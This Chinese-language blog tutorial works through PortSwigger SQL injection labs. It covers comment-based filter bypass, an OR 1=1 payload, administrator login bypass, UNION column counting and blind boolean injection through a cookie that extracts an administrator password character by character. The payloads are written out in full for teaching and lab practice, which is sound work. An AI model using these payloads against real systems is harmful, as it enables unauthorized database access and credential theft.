終於結束前面好多篇的
幹話了,要進入重頭戲攻擊手法辣~ OwO
但還是稍微講一下什麼是 SQL injection
以下,我都會用 portswigger 進行 lab 的練習
SQL injection(SQLi)簡單來說就是攻擊者干擾應用程式對其資料庫的查詢,攻擊者檢視他們通常無法檢索的資料。包括屬於其他使用者的資料,或應用程式可以訪問的任何其他資料,攻擊者甚至可以修改或刪除這些資料。
甚至可以升級SQL注入攻擊,以破壞底層伺服器或其他後端基礎設施。 它還可以使他們能夠執行拒絕服務攻擊。
看到一個訂購網站,如果我們點擊 3C
類別時, URL 就會長的像這樣:
https://xxxxxxxx.com/products?category=3C
那這個請求在資料庫查訊就會長得像是這樣:
SELECT * FROM products WHERE category = '3C' AND released = 1
我來解釋一下這在寫些什麼,
*
選擇所有products
的那張表中WHERE
後面可以放條件category
是 3C
且 released
的狀態是 1
WHERE 後面的條件可以用 AND 跟 OR 包許多你想設條件
如果我們修改 URL 這樣寫:
https://xxxxxxxx.com/products?category=3C'--
在資料庫裡會長這樣,
SELECT * FROM products WHERE category = '3C'--' AND released = 1
解釋:
--
代表的是註釋(像是 python 的#
跟 c++ 的//
),所以在查詢的時候資料庫就以為後面都為註釋,也就略過了後面的 AND released = 1 ,所以他就不會只顯示 released = 1 的東西,而是只要為3C
類別的就會顯示。
想要顯示所有類別可以這樣寫:
https://xxxxxxxx.com/products?category=3C'+OR+1=1--
+
在 網址列中是%20
表示為空白
在資料庫裡會長這樣,
SELECT * FROM products WHERE category = '3C' OR 1=1--' AND released = 1
解釋:後面備註釋掉了我們只看 category = '3C' OR 1=1 ,條件是 category = '3C' 或 1=1 , 但 1=1 恆為真,所以資料庫會給你所以的產品。
這是剛進去的畫面,我們可以隨意的點開一個類別
https://0acc008b035f065b801549bd003b0028.web-security-academy.net/filter?category=Corporate+gifts
我們就可以攻擊他啦~
在網址後面加上'+OR+1=1--
結束!
https://0acc008b035f065b801549bd003b0028.web-security-academy.net/filter?category=Corporate+gifts'+OR+1=1--
正常的登入應該是:
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
包含帳號跟密碼,那如果用上我們剛剛提到的註釋像是這樣在username後面包一個'--
,那是不是就不用輸入密碼呢?
Lab 叫我們用 administrator
作為用戶名稱
Password再隨便打打就好,反正都會被註釋掉~
結束!
UNION 可以執行其他 select 查詢,所以我門就可以利用它來查詢資料庫的其他你不該查到的資料(嘿嘿),進行攻擊。
要成功執行 UNION,必須滿足兩個條件:
所以我們要思考兩件事,
我們有兩種方法可以確認,一種是用 ORDER BY
另一種是用 UNION SELECT payload
ORDER BY
,改變後面的數值直到發生錯誤' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
UNION SELECT paylaod
,不斷添加 NULL
直到發生錯誤' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
發生錯誤就代表找到了~
使用'+UNION+SELECT+NULL,NULL--
嘗試看看,不行那就再加'+UNION+SELECT+NULL,NULL,NULL--
成功~
盲注入就是在猜,在 HTTP 回應不包含相關 SQL 查詢的結果或任何資料庫錯誤的詳細資訊時,就是 SQL 盲注入(也就是在肉眼看的到的地方你會不知道有甚麼差別~)
我們可以使用 Cookie 收集資料。假設我們發現網站有這樣的 Cookie:
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
那我們就可以猜表裡面是不是這樣的東西:
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
假設該網站當查詢結果為已知使用者時,於前端頁面會顯示「Welcome back」。
那我們就可以測試:
同理可證,我們可以用來猜 Administrator
的密碼
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm
如果這行 code 會顯示 Welcome back,那就代表密碼的第一個字大於 m
那我們再輸入,
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't
如果他沒顯示 Welcome back,那就代表密碼的第一個字不大於t
那最後就再確認一下,
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's
欸我們知道密碼的第一個字是s
了欸~
持續下去我們就知道 Administrator
的密碼了 !(0口0)!
點開F12找一下Cookie
我們來確認看看
60imFXm3kgx20oW2' OR 1=1 -- -
看到Welcome back,所以我們的 TrackingId = 60imFXm3kgx20oW2
接著我們就要猜administrator
的密碼了><
60imFXm3kgx20oW2' AND (SELECT 'x' FROM users LIMIT 1)='x
阿對了我們可以按F5
就可以刷新了喔
好,所以administrator
在 users
裡面喔~
那就可以進行猜猜樂的換節
60imFXm3kgx20oW2' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
先問問密碼是不是大於1
照這這樣做下去我們可以知道密碼長度為20。
然後我們可以用 Cluster bomb 的方式爆出密碼
60imFXm3kgx20oW2' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='§a§
一共設兩個payload
設置從1到20的數
然後一個一個去猜
就可以看到密碼成功!
https://portswigger.net/web-security/sql-injection
https://www.modb.pro/db/86324
https://ithelp.ithome.com.tw/articles/10240102